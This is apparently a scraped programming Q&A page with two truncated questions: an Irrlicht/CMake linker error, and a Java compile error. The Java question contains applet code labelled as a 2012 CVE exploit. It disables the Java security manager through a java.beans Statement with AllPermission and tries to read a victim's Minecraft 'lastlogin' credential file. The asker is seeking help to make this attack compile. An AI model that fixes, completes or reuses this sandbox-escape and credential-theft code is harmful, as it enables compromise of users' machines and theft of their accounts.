尝试将Irrlicht静态库包含到我的cmake项目中时,U有一个编译错误
编译错误:
max@max-MS-7369:~/Desktop/survival/build$ make Scanning dependencies of target survival [ 33%] Building CXX object src/CMakeFiles/survival.dir/technic.cpp.o [ 66%] Building CXX object src/CMakeFiles/survival.dir/render.cpp.o [100%] Building CXX object src/CMakeFiles/survival.dir/survival.cpp.o Linking CXX executable ../debug/survival /usr/bin/ld: ../../irrlicht/lib/Linux/libIrrlicht.a(CIrrDeviceLinux.o): undefined reference to symbol 'XConvertSelection' /usr/bin/ld: note: 'XConvertSelection' is defined in DSO /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/libX11.so so try adding it to the linker command line /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/libX11.so: could not read symbols: Invalid operation collect2: ld returned 1 exit status make[2]: *** [debug/survival] Error 1 make[1]: *** [src/CMakeFiles/survival.dir/all] Error 2 make: *** [all] …
我是java的新手,有一个编译错误:
/tmp/jc_16831/Gondvv.java:71: cannot find symbol
symbol : method File(java.lang.String)
location: class Gondvv
File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
Run Code Online (Sandbox Code Playgroud)
我包括File类,所以我没有得到它..
代码在这里:
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain …Run Code Online (Sandbox Code Playgroud)